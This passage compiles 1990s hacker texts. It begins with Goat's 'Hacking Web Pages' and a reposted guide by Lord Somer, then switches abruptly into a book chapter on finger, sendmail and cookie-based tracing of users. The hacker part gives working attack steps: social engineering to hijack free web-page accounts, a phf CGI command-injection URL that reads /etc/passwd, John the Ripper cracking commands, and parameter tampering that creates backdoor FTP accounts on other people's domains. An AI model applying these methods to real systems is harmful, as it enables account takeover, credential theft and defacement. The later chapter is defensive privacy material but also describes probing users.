bullet to the head one early mornign when walking your dog j/k. Just remember you will never be a hacker unless you think on your own, this means experimenting to fidn new ways into a system, or on the other hand you could becaome a little ignorant lamer who only mailbombs and nukes, and never gets smarter but only dumber, like the rest of the world, all except for the hackerz.....

E-Mail any questions, comments or deaththreats to:

ameister@vol.com

Visit him at:

http://www.vol.com/~ameister

Disclaimer:

Disclaimer:

This is for Educational purposes only it should not be used as a guide to cause havoc or to hack. He He He, good luck!!! And don't get caught. I would hate to see you in a cell with your 300 pound Bruno The Gay Ax murderer. He He He…

Hacking Webpages
Originally an Email to me.

this one is on hacking web pages, and i included alot more information on other methods than the traditional passwd file method, which most the web page texts are on in the library right now. I fixed this one so it doesn't scroll on and on like my text on passwd files [=. Goat

-***Hacking Web Pages***-
by Goat

Introduction

Please know that hacking webpages is consitered lame in many's opinions, and it will most likly not give you a good reputation. People can always check logs once notified of hacking and most likly your address will come up and then at worst they will press charges for some elaborate computer crimes law and you will goto prison for up to 10 years and owe alot of $. So please attempt to refrain from abusing your knowlage on this subject. This is for informational purposes only.

"Free" Web Pages

Free webpages is web page hosting companies like Tripod and Geocities that host peoples web pages for free and make money off advertising. There is ways to hack these companies and have access to all users, but it would be to complex for most people. This way is simply social engineering which is not very hard to do, so don't proclaim yourself an Uberhacker because you vandalised a poor guy's webpage, who just happened to have his information on his site. All you have to do is set up an account with a free email service like hotmail and find your target. On your targets page up need to have the date of birth, name, and their old email, or instead of the DOB there address (I have lost my pass to a smaller company, and they needed the address i had registered with). All these free web page companies have their "verification" for people who have lost there password to their page. All their is to it is once you have this information is you either email the company telling them you changed your email address and once that is done wait about 2 weeks and then email them again saying that you lost your password. Most will email you telling you that you need some sort of verification, like the DOB or Address. In which you email them back and tell them and get a new password. On the other hand, companies like Geocities are too busy for email so they have set up a web site where members can get there password back

(http://www.geocities.com/help/pass_form.html).

User's Pages

There is many different methods of hacking users web pages on a server. I will attempt to list as many ways possible but don't expect very much in depth information.

Getting Passwords

Okay suppose you found a page you want to hack, that is on someone elses server thats a basic server, light security. Okay very light security. I will be truthful. This pretty much works on servers with no security [=.
Getting a passwd file is pretty easy. Simply telnet into the servers FTP anonymously and look in the ETC directory and get the file called Passwd.
Another way to get them is to find your target and in a WWW browser type cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd after the servers name. For example the name may be http://www.hackme.com/, you would goto http://www.hackme.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd except instead of www.hackme.com you would replace that with your targets URL.
You may get a passwd file that has no user accounds, but only defaults which where the encrypted password should be a * would be in its place. On certain servers with this you may have a shadowed passwd but on all passwd files i have come across there is some user names like FTP and NEWS that have no encrypted passwords which is replaced with *. If you find only this and no encrypted passwds you probably have found a fixed passwd file and you must try another method of hacking the server. You need to examine this file and look for a line in the text that looks like this:
rrc:uXDg04UkZgWOQ:201:4:Richard Clark:/export/home/rrc:/bin/kshdoes not need to look exactly like that, the only important part it needs it the uXDg04UkZgWOQ and rcc, which is the login part. Get a program called John the Ripper whcih can be found on any hacking site on the web. If you are to lazy, or stupid to find one on the web heres a good place to go for newbies http://www.hackersclub.com/km/
I will not go in depth right here on passwd files, but i have written a text on passwd's going good into the subject which can be found at http://www.xtalwind.net/~lmclaulin/ugpasswd.txt.
Anyway, using John the Ripper is easy, if you want to quickly hack something give the command (in DOS prompt) "john passwd -single" Replace "passwd" in there with the name of the passwd file, you may have saved it as passwd.txt or something. An important thing to remember is that the passwd file needs to be in the same directory as John. To see a list of other methods for cracking a passwd file, just type John and it will give you a list of commands. I have found john won't work for me with wordlists but other people say that it

works fine for them. You can use incremental mode
(to use that the command is "John passwd -incremental"
It takes like a few days to finish so I wouldn't really
want it to let it go on forever and ever if it was
just some normal passwd file. Unless its like NASA's
passwd file (keep dreaming, they probably change
passwords everyday and that file is very outdated)
I wouldn't want to use that too much. To see a
complete list of John's cracking capabilities, just
type john and it will give you a list of commands
that you may use.

If you Have an Account with the Users Server

The next section is on how you can hack a webpage if
you already have an account with the server.

This was taken from a text by Lord Somer and since
i don't want to butcher something important out of it
I will just keep the text in its whole form.

Exploiting Net Adminstration CGI (taken from a text by Lord Somer)

```
########################################
# Exploiting Net Administration Cgi's #
# like nethosting.com                  #
# Written by:Lord Somer                #
# Date:9/2/97                          #
########################################
```

Well since nethosting.com either shutdown or whatever I figured what the hell before I forget
how I did the more recent hacks etc... I'd tell you how so maybe you'll find the same sys
elsewhere or be able to use it for ideas.

Basically Nethosting.com did all it's administration via cgi's at net-admin.nethosting.com,
well you need an account, card it if necessary, log in to net-administration, you'll see crap
like ftp administration, email, etc... who really cares about e-mail so we'll go to ftp.
Click on ftp administration. Lets say you were logged in as 7thsphere.com your url would be
something like:
http://net-admin.nethosting.com/cgi-bin/add_ftp.cgi?7thsphere.com+ljad32432jl

Just change the 7thsphere.com to any domain on the sys or if in the chmod cgi just del that part
but keep the + sign and you edit the /usr/home dir. In the ftp administration make a backdoor
account to that domain by creating an ftp who's dir is / since multiple /// still means /.

Once you have your backdoor have fun. Oh yeah and in the email you can add aliases like I did
to rhad's e-mail account at 7thsphere, why the hell is he on that winsock2.2 mailing list?

Well the basic theory of this type of exploitation is that:
- the cgi is passed a paramater which we change to something else to edit it's info
- since it uses the stuff after the + to check that it's a valid logged
  in account(like hotmail does), it dosen't check the password again.
- multiple ///'s in unix just mean a /, thus we can get access to people's dir or the entire
  /usr/home dir

I used this method for hacking a few well known places:
7thsphere.com
sinnerz.com
hawkee.com
warez950.org
lgn.com
and several other unknown sites.

Please remember if you ever use a method of mine please credit me and link to my site thanks.

##
Contact Info:
E-mail: webmaster@lordsomer.com
ICQ: 1182699
Site: The Hackers Layer
http://www.lordsomer.com
Other Sites:
Hackers Club
http://www.hackersclub.com/km
##

Other Ways Of Hacking User Pages

Another method that may work with really stupid Admins is sometimes, when you FTP to a server, you can leave your home directory and go back a few directories and find your targets directory. Once you have done that if you can access the HTML files and save them to disk and then "edit them". The HTML files may or may not be stored on FTP but with smarter admins they are not accessable by other users.

Things that Don't Fit In Other Catagories

There are many more ways of hacking web pages. Peoples stupidity is a good way. Many passwords are guessable if they are not hackable. Its not hacking but simply using a persons stupidity. If you were to get root on a server you could have access to everything on the server, so if you wanted to hack a servers webpage (or access anything else you want on the server) you would probably have to get an account and you could run an exploit on the server, but that is something newbies should probably not try until you know more about what you are doing.

Why Hacking Web Pages (and other things) is a Bad Idea...

Hacking web pages is an obvious signal that someone has hacked your server, which can reminer to forgetful admins to check there logs and immediatly call your ISP to cancel your account along with the FBI to come bust you on some elaborate computer crime law.

Hacking school grades is another stupid thing you should never do. I know its off topic but its important to remember, because they are two things that both get people busted alot. Don't believe me? Let me show you a few pieces of articles from news at the hackersclub. The entire article (instead of the parts where the hacker got busted) may be read from the address beneath each section.

"Kubojima is accused of taking over seven web pages of the Osaka-based television network Asahi Broadcasting Company on May 18 and replacing five of the seven weather charts on the pages with pornographic pictures. He also faces charges under Japan's anti-obscenity laws.

If convicted, Kubojima faces a fine of one million yen ($8,600) and a prison term of up to five years under tough penalties against hackers adopted in 1992. "

http://web5.hackersclub.com/km/news/1997/may/news4.txt

"He is 18, and may be looking at up to 10 years in prison. He hasn't stolen anything, he hasn't hurt anybody and many familiar with the crime that he is accused of committing say the possible punishment borders on the absurd.

The 18-year-old and a 17-year-old friend, police say, broke into a computer network.

They added some funny pictures to a World Wide Web site run by the network operator, a Texas Internet service provider called FlashNet, police say. The two figured out some of the user names and passwords used by FlashNet customers.

Then they left.

The 18-year-old was arrested on suspicion of third-degree felonies that carry a sentence of two to 10 years in prison and a fine of up to $10,000. His friend, who was arrested on suspicion of a less severe misdemeanor, faces up to a year in jail and a $4,000 fine. "

http://web6.hackersclub.com/km/news/1997/august/news3.txt

"Student faces felony for hacking grades

>From NewsTalk 750 WSB

A 15-year-old Florida High School student faces felony

charges for allegedly hacking his way into the school computer to change "F's" into "A's." Jason Westerman claims it was only a joke, but he faces felony charges for offenses against intellectual property and computer

users. He's been suspended for ten days. Westwood high school administrators want to expel him. "

http://web6.hackersclub.com/km/news/1997/june/news4.txt

Getting busted hacking will not be a fun process unless you like paying $10,000 and having a date with someone names Spike in the prison's cafateria for the next 3 years. Be wise about what you leave behind, because soon you may be suprised by a knock at the door by your neighborly FBI agent.

Hiding on the Net

Techniques to Hide One's Identity

When the network that is now the Internet was first designed, it was assumed that all users wanted to be found. No one had reason to hide, and it seemed sensible that researchers should be able to locate each other. Utilities were therefore created to facilitate such finding.

Since those early days, the rise of multiple protocols has made finding people even more convenient. As you will see later in this chapter, the old days demanded a high level of networking knowledge from the user. Today, finding or identifying most individuals is trivial. Throughout this chapter, I examine those techniques, as well as some concepts about wholesale tracing (tracing many individuals at one time).

You may wonder why this is deemed a security issue. In truth, it really isn't--not yet. As you read this chapter, however, you will learn that the Internet is a powerful tool for domestic spying. Law-enforcement and intelligence agencies already conduct such practices on the Internet, and for them, the Network is a bonanza. No search warrant is needed to "study" the activity of someone on the Internet. Likewise, no warrant is needed to compile lists of individuals who law enforcement perceive to be involved in illegal (or even seditious) activity. This is not a joke. If you harbor radical political views, by the end of this chapter, you may elect to forever keep those views to yourself (or gain a decent education in cryptography).

Before I begin, I need to make one statement regarding screenshots and diagnostic network information contained within this chapter. Certain methods of finding individuals demand the use of search engines. Unfortunately, to my knowledge, the law has not been adequately settled regarding the reprinting of an individual's e-mail address without his consent. Because of this, I cannot provide screenshots of searches because they necessarily contain the e-mail addresses of users unknown.

Therefore, the searches have to be described rather than illustrated. I do apologize for this. However, upon reflection, I would not want my e-mail address published, and I see no reason why anyone else would, either. The argument is often made that anyone who posts to a Usenet newsgroups has at least given an implied form of consent. I do not support that view. So, I am afraid that we shall have to get along as best we can by description as opposed to screenshot. I have taken pains to explain each step carefully to provide the utmost clarity. I hope that will suffice.

So, let us begin at the beginning, at the heart of your server. We will start at home base and work our way outward.

What's in a Name?

There are two forms of user identification that apply to all platforms: your e-mail address and your IP address. It is often theorized that if one is obscured, the other can never be found. That is untrue. Without chaining messages through a series of trusted anonymous remailers (remailers that are purportedly secure), anonymity on the Internet is virtually impossible. Anonymous remailers are discussed in Chapter 7, "Birth of a Network: The Internet."

It is possible, however, to make yourself relatively invisible, and that is probably what most individuals would like to do. Before I get more specific, however, there are some utilities you need to know about, as well as methods of tracing individuals. I'll start with finger.

finger

The finger service is a utility common to the UNIX platform. Its purpose is to provide information about users on a given system. In practical operation, finger works like most other services available in UNIX. Figure 13.1 demonstrates the use of Finger32, a popular finger client for the Microsoft

Windows platform.

Figure 13.1.
The finger query process.

> Cross Reference: Finger32 is a small application port of the UNIX utility finger. It is available here:
> ftp://hyper.net.au/Win95nt-apps/Finger/Wsfinger/Wsfngr32.zip

The finger service relies on the client/server model, which is a recurring theme in Internet applications. This model works as follows: machines running server applications distribute information to clients. Clients are programs designed to accept and interpret information from server applications. For example, you use a Web browser (or client) to read information forwarded by a Web server (the HTTP server).

In any event, the finger client-server relationship works as follows: On the targeted machine (almost always a UNIX system), there is a server running called fingerd. This is more commonly referred to as the finger daemon. Its purpose is to answer requests from finger clients from the void.

The finger daemon can return different information, depending largely on the configuration of the server and the user's personalized settings. For example, sometimes an "open" UNIX server (that is, one not running a firewall) will disallow finger access. This is done by disabling the finger daemon, removing it from the file /etc/inetd.conf. In this case, the finger service is never started. Any client-issued finger request forwarded to such a machine will meet with a blank response (or perhaps, Connection Refused.).

Many organizations, particularly ISPs, government sites, and private corporations, disable finger services. Each has an interest in preserving the privacy of its users, and that is usually the reason given for disabling the service. As you will learn later, however, their motivation may also be system security.

> TIP: Certain vital information about the system can be culled by fingering system IDs such as root, bin, FTP, and so on. On that account, some sites will disable finger services altogether. It is thought that by killing the finger and RPC services, one can restrict the amount of revealing information available to crackers in the void. To some extent, this is true.

> Cross Reference: An excellent paper written by Dan Farmer and Wietse Venema addresses this issue: "Improving the Security of Your Site by Breaking Into It." The paper is so widely distributed on the Internet. Here is a very reliable source:
> http://www.alw.nih.gov/Security/Docs/admin-guide-to-cracking.101.html.
> (This is a government site, so with all probability, this link will be good for many years to come.)

Some sites do not disable finger services altogether, but instead put restrictions on what type of information can be accessed. For example, by default, the finger daemon allows a systemwide finger. Anyone can be fingered, including special or privileged accounts. When systemwide fingering is allowed, one can gather information on all users currently logged to the machine. This is done by issuing the following command at a UNIX command prompt:

```
finger @my_target_host.com
```

The @ symbol has essentially the same effect as the asterisk does in regular expression searches. When it is used, the user is fingering all users currently logged to the target machine. This is most useful when targeting small providers that have few customers, or when conducting such a finger query late at night. Certainly, fingering a company as large as Netcom in this manner would be foolish. (The response forwarded by the server would likely be many pages in length. The only valid reason for doing this would be to generate a database of Netcom users.) At any rate, some organizations will disallow such a request, instead forcing the requesting party to specify a particular user.

Other sites make use of hacked finger daemons, either created in-house or available as distributions from other sites across the Internet. These are finger daemons that have enhanced features, including advanced configuration options.

> Cross Reference: One such hacked finger daemon is the Configurable Finger Daemon, or cfingerd. Written by Ken Hollis, cfingerd provides security functions not available in garden-variety finger servers. It is considered to be an excellent replacement to the standard distribution of finger. It is available free of charge at ftp://ftp.bitgate.com/pub/cfingerd/.

> Cross Reference: For more generalized understanding of the finger daemon process, I suggest viewing the source for any public-domain finger client. There is a nice online resource for this at http://araneus.york.ac.uk/owtwaww/finger.htm.

At any rate, taking you through the process of a finger inquiry will take just a few moments, but in order for you to exploit the example, you need a finger client. UNIX users, however, have no need for a finger client, because this is included in the basic distribution. The same is true of Windows NT. So this little section is primarily for Windows, Mac, and OS/2 users. The finger clients are listed in Table 13.1.

Table 13.1. Finger clients for non-UNIX, non-NT users.

Platform	Client	Location
Windows (All)	WSFinger	ftp://papa.indstate.edu/winsock-l/finger/wsfngr14.zip
Macintosh	Macfinger	ftp://ftp.global.net.id/pub/mac/internet/finger-15.hqx
OS/2	FFEU	http://www.musthave.com/OS2/ftp/ffeu101.zip

For demonstration purposes, I will use Finger32, a popular finger application for Windows 95. The application is simple to use; it presents the user with a self-explanatory screen from which you choose your host. (See Figure 13.2.)

Figure 13.2.
The Finger32 opening screen--choosing a host.

When you choose this option, a dialog box appears, requesting a host and username. (See Figure 13.3.)

Figure 13.3.
Specifying your target.

Providing the target is running a finger server, the return output should read something like this:

```
Login name: root                        In real life: 0000-Admin(0000)
Directory: /                            Shell: /sbin/sh
Last login Tue Feb 18 19:53 on pts/22
New mail received Wed Feb 19 04:05:58 1997;
  unread since Wed Feb 19 03:20:43 1997
No Plan.
```

This tells you several things, including the directory where root@samshack resides (/), the shell he or she is using (/sbin/sh), and some details on last login and mail. (Hard-core hackers will know that it also tells you that root@samshack.com is using Solaris as an operating system. Note the 0000-Admin[0000] string.)

This information does not appear to be particularly revealing; however, in 70% of all cases, the field In real life is filled with a name. Worse still, at some universities, you can get the name, telephone number, dorm room number, and major of students enrolled there (not that the major matters particularly, but it provides some interesting background).

The information available on a finger query is controlled primarily by the system administrator of a given site, as well as what information you provide on your initial signup. Most new users are not aware of this and provide all the information they can. Most people have no reason to hide, and many provide their office telephone number or even their home address. It is human nature to be mostly honest, especially when the entity they are providing information to seems benign.

So the process of identification usually either starts or ends with a finger query. As noted previously, the finger query uses your e-mail address as an index. This leads us immediately into an area of some controversy. Some individuals believe that by changing their e-mail address in the Netscape Navigator or Microsoft Internet Explorer Options panels, they obscure their identity. This is not true. It simply makes your e-mail address more difficult to obtain. I will get to this subject momentarily. For now, I want to continue with finger, offering a little folklore. The following is a classic Internet story. (If you've ever fingered coke@cs.cmu.edu, skip these next few paragraphs.)

Years ago, the computer science department staff at Carnegie-Mellon University had a gripe about their Coke machine. Often, staffers would venture down to the basement, only to find an empty machine. To remedy this problem, they rigged the machine, connecting it to the Internet (apparently, they did this by wiring the machine to a DEC 3100). They could then issue a finger request and determine the following things:

- How many sodas were in each slot
- What those sodas were--Coke, Diet Coke, Sprite, and so on
- Whether the available sodas were cold

Today, you can still issue a finger request to the Coke machine at CMU. If you were to do so, you would receive output very similar to the following:

```
[ Forwarding coke as "coke@l.gp.cs.cmu.edu" ]
[L.GP.CS.CMU.EDU]
Login: coke                              Name: Drink Coke
Directory: /usr/coke                     Shell: /usr/local/bin/tcsh
Last login Sun Feb 16 18:17 (EST) on ttyp1 from GS84.SP.CS.CMU.EDU
Mail came on Tue Feb 18 14:25, last read on Tue Feb 18 14:25
Plan:
     M & M                    Coke Buttons
    /----\              C: CCCCCCCCCCC.....
    |?????|           C: CCCCCCCC....    D: CCCCCCCCCC..
    |?????|           C: CCCCCCCCCCCC    D: CCCCCCCC....
    |?????|           C: CCCCCCCC....    D: CCCCCCCCC...
    |?????|                          C: C.....
    \----/                         S: C.....
       |          Key:
       |            0 = warm;   9 = 90% cold;   C = cold;   . = empty
       |            Beverages: C = Coke, D = Diet Coke, S = Sprite
       |            Leftmost soda/pop will be dispensed next
     --^--          M&M status guessed.
                    Coke status heuristics fit data.
Status last updated Wed Feb 19 00:20:17 1997
```

As you can see, there is no end to the information available with a finger query. The story of this Coke machine was told by Terence Parr, President and Lead Mage of MageLang Institute (http://www.magelang.com/), at the 1996 Netscape Developer's Conference at Moscone Center in San Francisco. Reportedly, Parr was demonstrating a Java application that could emulate this Coke machine hack when suddenly, a former CMU student, Michael Adler, rose to the occasion. Adler explained the hack in detail, having firsthand knowledge of the Coke machine in question. In fact, Adler was largely responsible for adding the temperature index function.

At any rate, many administrators insist on supporting finger, and some have legitimate reasons. For example, a finger server allows easy distribution of information. In order for the finger server to support this functionality, the targeted user (or alias) must have a plan file. (The Coke machine at CMU certainly does!) This file is discussed in the next section.

The Plan File (.plan)

On most UNIX servers, user directories are kept beneath the /home/ or /usr directory hierarchies. For example, a user with a username of cracker will have his home directory in /home/cracker. (This is not set in stone. System administrators are responsible for where such directories are kept. They could specify this location as anywhere on the drive, but the typical placement is /usr or /home.)

Typically, in that home directory are a series of special files that are created when the user accesses his account for the first time. For example, the first time he utilizes the mail program Pine, a series of files are established, including .pinerc, which is the configuration file for this mail client.

These files are referred to as dot files, because they are preceded by a period. Most dot files are created automatically. The .plan file, however, is not. The user must create this file himself, using any text editor (for example, vi or pico). This file can be closely correlated with the plan.txt file on a VAX system. Its purpose is to print user-specified information whenever that user becomes the target of a finger query. So, if the user saves into the .plan file a text recounting his life history, that text will be printed to the STDOUT of the party requesting finger information. The .plan file is one way that information can be distributed via the finger server. (Note that you, the user, must create that .plan file. This is not automatically generated by anyone else.) If you examine Figure 13.1

again, this will seem a bit clearer.

> TIP: You may have encountered servers or users that suggest that you Finger for more info. Usually, this entails issuing a finger request to an address like info@targethost.com. Most often, the information you receive (which could be pages of plain text) comes from the .plan file.

There are other reasons that some administrators keep the finger service operational. Entire programs can be launched by specifying a particular address to be fingered. In other words, one could (although it is not recommended) distribute text files this way. For example, you could write an event handler to trap finger queries aimed at a particular user; if user A were fingered, the server would send a specified text file to the requesting party. I have seen more than one server configured this way, although it is more common to see mail lists designed in this manner.

For whatever reason, then, finger services may be running on the server at which you have an account. If you have never bothered to check what information is available there, you can check now by issuing a finger request to your own account. You can also examine this information (the majority of it, anyway) by issuing the following command at a shell prompt:

```
grep your_username /etc/passwd
```

> TIP: This technique will only work on servers that use non-shadowed password files, or those that are not employing NIS. In those instances, you may have to issue a command more like this:
>
> ```
> ypcat passwd || cat /etc/passwd | grep user_name
> ```

This command will print the information the server holds on you in the /etc/passwd file. Note that this information will be visible even if the server makes use of shadowed password entries.

So now you know: The names of the majority of Net citizens are there for the taking. If your system administrator insists on using finger, there are several things you can do to minimize your exposure:

> Use the popular utility chfn to alter the finger information available to outsiders
>
> If chfn is not available, request that the sysad change your information
>
> Cancel your current account and start a new one

> NOTE: If you believe in harsh solutions and you want to discourage people from repeatedly fingering your account, write a .plan file that forwards a few megabytes of garbage. This is most useful if your sysad refuses to assist, chfn is unavailable, and some joker is trying to clock your movements using finger.

Of course, perhaps you are not concerned with being fingered as much as you are concerned with who is doing the fingering. If so, you need MasterPlan.

MasterPlan

MasterPlan is an excellent utility. Written by Laurion Burchall and released in August 1994, this

product takes an aggressive approach to protecting your privacy. First and foremost, MasterPlan identifies who is trying to finger you. Each time a finger query is detected, MasterPlan attempts to get the hostname and user ID of the fingering party. These variables are piped to an outfile called finger_log. MasterPlan will also determine how often you are fingered, so you can easily detect if someone is trying to clock you. (Clocking refers to the practice where user A attempts to discern the habits of user B using various network utilities, including finger and the r commands.)

> TIP: The r commands consist of a suite of network utilities that can glean information about users on remote hosts. I will discuss one of these, a utility called rusers, in a moment.

Typically, a cracker writes a shell or Perl script to finger (or otherwise query) the target every specified number of minutes or hours. Reasons for such probing can be diverse. One is to build a profile of the target; for example, when does the user log in? How often does the user check mail? From where does the user usually log in? From these queries, a cracker (or other nosy party) can determine other possible points on the network where the user can be found.

Consider this example: A cracker I know was attempting to intercept e-mail trafficked by a nationally renowned female journalist who covers hacking stories. This journalist had more than one account and frequently logged into one from another. (In other words, rather than directly logging in, she would chain her connections.) This is a common practice by individuals in the public eye. They may want to hide from overly enthusiastic fans (or perhaps even legitimate foes). Thus, they preserve at least one account to receive public mail and another to receive private mail.

By running a probing script on the journalist, the cracker was able to identify her private e-mail address. He was also able to compromise that network and ultimately capture all the journalist's mail. The mail was primarily discussions between the journalist and a software engineer in England. The subject matter concerned a high-profile cracking case in the news. (That mail was later distributed to crackers' groups across the Internet.)

In any event, MasterPlan can help to identify these patterns, at least with respect to finger queries. The utility is small, and easily unpacked and configured. The C source is included, and the distribution is known to compile cleanly on most UNIX systems. (The exceptions are reportedly Ultrix and the NeXT platform.) One nice amenity for Linux users is that a pre-compiled binary comes with the distribution. The standard distribution of MasterPlan is available at

> ftp://ftp.netspace.org/pub/Software/Unix/masterplan.tar.Z

The Linux compiled version is available at

> ftp://ftp.netspace.org/pub/Software/Unix/masterplan-linux.tar.Z

As you've now seen, the finger utility is dangerous and revealing. More and more sites are now disabling finger services, at least with respect to external queries. For various reasons, however, many providers simply do not bother to shut it down.

> TIP: If you want to see an example of mapping an IP address to a username dynamically, trying fingering ppp@wizard.com. This host has apparently aliased out the PPP connections so that the entire list of users connected via PPP can be examined using the finger command. Thus, if you receive a message from a user in that domain, but the user obscured his e-mail address, it could still be culled using the finger command. By fingering the entire block of current PPP addresses, you can map the IP to a username and from there, finger the username. By going through this process, you

can easily obtain the e-mail address of a user in that domain, even if he is trying to hide.

Note that MasterPlan will not prevent someone from fingering you; it will simply identify that party and how many times the finger request has been issued.

But all this assumes that your provider allows finger requests from the void. Suppose for a moment that it doesn't. Does this mean that you are safe and that you shouldn't worry about your name being revealed? Hardly. It simply means that a standard finger query will fail to render any information about you.

Suppose that someone is attempting to finger you and discovers that finger requests from the void are prohibited. Suppose further that this person is determined to find your real name and is willing to risk an angry message from your provider to his own. In such a case, the nosy party will initiate a Telnet session to your provider's mail server. (This is done by initiating a Telnet request to port 25.)

In most cases (except those where the provider is paranoid or running a firewall), a server will accept a Telnet connection to port 25 (the port that sendmail runs on). Such a connection looks like this:

220 shell. Sendmail SMI-8.6/SMI-SVR4 ready at Wed, 19 Feb 1997 07:17:18 -0800

> TIP: The preceding piece of a started Telnet session was initiated on a Solaris 2.5 SPARC station 20. Different flavors of UNIX will provide different strings at the beginning of the session. However, almost all reveal the operating system and version number.

If the nosy party can get to such a prompt, there is better than an 80 percent chance that he will have your name momentarily. The information is collected by issuing the following command:

expn username

This command requests that the mail package expand a username into an e-mail address and real name. This is a feature (not a bug) of the sendmail package. The response will typically expand into something similar to

username <username@target_of_probe.com> Real Name

The first field will report back the username or user ID that you request to be expanded. This will be followed by the person's e-mail address and finally, his "real" name.

Note that the expn function can be disabled by the system administrator, although few actually do it. There are reasons for this, and the most probable is that administrators simply fear fiddling with the sendmail configuration. Sendmail is a notoriously complex and powerful program that has evolved into a huge package. There are so many options for it that an entire book could be written just on its configuration. It is for this reason, no doubt, that sendmail has consistently been the source of holes in Internet security. So you might wonder why the program is even used at all. That is easy to explain. Sendmail is the most successful program for transport of electronic mail ever created. Millions of users all over the world send mail each day using this program.

In any event, if the expn function is operable, the nosy individual will still get your real name, if it is available. Unfortunately, even if the expn function has been disabled, the snooping party can still verify the existence of your account using the vrfy function. This is academic, however; if your provider's sendmail system honors Telnet sessions, there is a greater than 70 percent chance that one

or both of these functions is available.

> TIP: You will find that many other versions of sendmail-- which has now been ported to almost every platform-- will also render this information.

Currently, other than rewriting your account so that your real name does not appear in the /etc/passwd database, there is no way for you to exercise control over these remote functions. sendmail issues must be resolved by root. Moreover, it is highly unlikely that a system administrator will fiddle with his or her sendmail configuration just to satisfy the needs of a paranoid user. Thus, the rule of thumb is this: If you intend to remain untouchable on the Net, you must never, ever allow your real name to fill that field within the /etc/passwd file.

A Few Words About Cookies

You have seen the message many times. You land on a WWW site and a dialog box appears. The server at the other end says it wants to set a cookie. Most users have no idea what this means, so they simply click the OK button and continue. Other users actually read the dialog box's contents and get a little worried. (This is especially true when the cookie is going to be set for sometime into the year 2000. The user may not be sure what a cookie is, but almost all users balk when that cookie is going to hang around for 3 or 4 years.)

> TIP: If you have never seen such a dialog box, you need to set your options to warn you before cookies are being set. Personally, I prefer to at least be notified when anything is being written to my hard disk drive. You should watch all such activities closely, monitoring any code or other device that is arbitrarily forwarded to your machine.

What are cookies? The cookie concept is very much like getting your hand stamped at a dance club. You can roam the club, have some drinks, dance, and even go outside to your car for a few minutes. As long as the stamp is on your hand, you will not have to pay again, nor will your access be restricted. But cookies go much further than this. They record specific information about the user, so when that user returns to the page, the information (known as state information) can be retrieved. The issue concerning cookies, though, isn't that the information is retrieved. The controversy is about where the information is retrieved from: your hard disk drive.

Cookies (which Netscape calls persistent client state HTTP cookies) are now primarily used to store options about each user as he browses a page. The folks at Netscape explain it this way:

> This simple mechanism provides a powerful new tool which enables a host of new types of applications to be written for Web-based environments. Shopping applications can now store information about the currently selected items, for fee services can send back registration information and free the client from retyping a user-id on next connection, sites can store per-user preferences on the client, and have the client supply those preferences every time that site is connected to.

> Cross Reference: The article from which the previous quote is excerpted, "Persistent Client State HTTP Cookies," can be found at http://home.netscape.com/newsref/std/cookie_spec.html.

To understand the way cookies work, please examine Figure 13.4.

Figure 13.4.
Setting cookies.

As you can see, when the remote server is contacted, it requests permission to set a cookie. (One wonders why some sites set a cookie on their opening page. Just what state information are they recording? You haven't specified any preferences yet, so there is essentially nothing to record.) Prior to the setting of the cookie, however, the user is generally confronted with the advisory shown in Figure 13.5.

Figure 13.5.
Cookie warning!

> TIP: Note that this advisory will only be shown if you choose this option (Warn on Cookie) in your preferences. In Netscape Navigator, this option can be toggled in the Network Preferences menu under the Protocols tab. In Microsoft Internet Explorer, it can be set in the Options menu under the Advanced tab.

Advocates of cookies insist that they are harmless, cannot assist in identifying the user, and are therefore benign. That is not true, as explained by D. Kristol and L. Montulli in RFC 2109:

> An origin server could create a Set-Cookie header to track the path of a user through the server. Users may object to this behavior as an intrusive accumulation of information, even if their identity is not evident.(Identity might become evident if a user subsequently fills out a form that contains identifying information.)

I know many programmers who are exploring techniques for using cookies for user authentication. This is disturbing. There has not been enough scrutiny of the privacy issues surrounding cookies, and there needs to be some method developed to manage them. That is, perhaps some cookies are desirable to a particular user and some are not. The user may visit certain sites regularly. If those sites use cookie conventions, the user will unnecessarily be confronted with a cookie warning each time he visits, unless that cookie remains on the drive. However, other cookies (from sites that the user may never visit again) should be easily removed. This is also discussed in RFC 2109:

> User agents should allow the user to control cookie destruction. An infrequently used cookie may function as a "preferences file" for network applications, and a user may wish to keep it even if it is the least-recently-used cookie. One possible implementation would be an interface that allows the permanent storage of a cookie through a checkbox (or, conversely, its immediate destruction).

Briefly, to find the cookies on your hard disk drive, search for the file cookies.txt. This file will contain a list of cookies and their values. It looks like this:

```
www.webspan.net FALSE /~frys FALSE 859881600 worldohackf 2.netscape.com
TRUE / FALSE 946684799 NETSCAPE_ID
1000e010,107ea15f.adobe.com TRUE / FALSE 946684799 INTERSE
207.171.18.182 6852855142083822www.ictnet.com FALSE / FALSE 946684799 Apache
pm3a-432656185549181O745.microsoft.com TRUE / FALSE 937422000
MC1 GUID=260218f482a111d0889e08002bb74f65.msn.com TRUE / FALSE 937396800
MC1 ID=260218f482a111d0889e08002bb74f65comsecltd.com FALSE / FALSE
1293753600 EGSOFT_ID 207.171.18.176-3577227984.29104071
.amazon.com TRUE / FALSE 858672000 session-id-time 855894626.amazon.com
TRUE / FALSE 858672000 session-id 0738-6510633-772498
```

This cookie file is a real one, pulled from an associate's hard disk drive. You will see that under the GUID, the leading numbers are an IP address. (I have added a space between the IP address and the remaining portion of the string so that you can easily identify the IP. In practice, however, the string is unbroken.) From this, you can see clearly that setting a cookie may involve recording IP addresses from the target. Now, this does not mean that cookies are a major threat to your privacy. Many JavaScript scripts (and Perl scripts) are designed to "get" your IP. This type of code also can get your browser type, your operating system, and so forth. Following is an example in JavaScript:

```
 <script language=javascript>
      function Get_Browser() {
      var appName = navigator.appName;
      var appVersion = navigator.appVersion;
      document.write(appName + " " + appVersion.substring (0,appVersion.indexOf(" ")));
      }
</script>
```

This JavaScript code will get the browser and its version. Scripts like this are used at thousands of sites across the Internet. A very popular one is the "Book 'em, Dan-O" script. This script (written in the Perl programming language) will get the time, the browser, the browser's version, and the user's IP.

> Cross Reference: The "Book 'em, Dan-O" script was written by an individual named Spider. It is currently available for download at Matt's Script Archive, at http://worldwidemart.com/scripts/dano.shtml.

> Cross Reference: One site that will get many of your environment variables, particularly if you use UNIX, is located at http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-env. What is interesting is that it will catch both the PPP-based address (as in ppp32-vn074.provider.com) as well as your actual IP.

Also, nearly all Web server packages log access anyway. For example, NCSA HTTPD provides an access log. In it, the IP address of the requesting party is logged. The format of the file looks like this:

```
